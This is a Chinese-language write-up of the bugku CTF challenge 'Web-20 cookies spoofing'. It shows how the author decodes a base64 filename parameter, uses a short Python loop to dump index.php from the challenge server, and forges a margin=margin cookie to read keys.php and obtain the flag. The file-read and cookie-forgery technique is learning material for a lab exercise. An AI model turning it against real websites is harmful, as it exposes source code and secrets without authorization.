bugku CTF Web-20-cookies欺骗

                         Web-20-cookies欺骗

一、尝试
提交flag的时候又忘记截图了,直接描述一下吧。
给出的网站进入后是一串不知道什么东西的代码,也不像什么加密,直接使用,但是网站进入后网址后面出现了一串编码,base64解密。
在这里插入图片描述

发现是读取的keys.txt里面的内容,改变line的值为1或0均相同,改变为2时无内容出现,说明无第二行内容。
直接尝试读取index.php里的内容
与keys.txt相同,把filename改为index.php,同样base64加密。
在这里插入图片描述

读取第一行内容:
在这里插入图片描述

第二行内容:
在这里插入图片描述
二、脚本
这样手工的确能得到界面的代码,但是为何不写一个非常简单的脚本来实现呢。
脚本:

import requests
s = ''
for i in range(0,100):  #反正不知道到底有多少行,就往大了的加
    url = 'http://114.67.246.176:15089/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    s = requests.get(url)
    print (s.content) #输出每行数据

输出结果为:

b'<?php\r\n'
b'error_reporting(0);\r\n'
b'$file=base64_decode(isset($_GET[\'filename\'])?$_GET[\'filename\']:"");\r\n'
b"$line=isset($_GET['line'])?intval($_GET['line']):0;\r\n"
b'if($file==\'\') header("location:index.php?line=&filename=a2V5cy50eHQ=");\r\n'
b'$file_list = array(\r\n'
b"'0' =>'keys.txt',\r\n"
b"'1' =>'index.php',\r\n"
b');\r\n'
b' \r\n'
b"if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){\r\n"
b"$file_list[2]='keys.php';\r\n"
b'}\r\n'
b' \r\n'
b'if(in_array($file, $file_list)){\r\n'
b'$fa = file($file);\r\n'
b'echo $fa[$line];\r\n'
b'}\r\n'
b'?>\r\n'

在这里插入图片描述

没有除去每一行的后缀,而且就差不多20行代码,手工也不是需要很久,反正结果出来就行。
这个index.php里面的关键代码就两行:

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';}

这两行代码说明了flag的得到方法,在keys.php里面,而且当cookie值为margin=margin,才能进入访问这个php文件。
直接burp构造报文
在这里插入图片描述

记得将filename后面的值base64加密,访问keys.php文件。
得到flag为:
flag{6a135934587901c7dc8e0703e2f1990c}


版权声明:本文为weixin_47387913原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。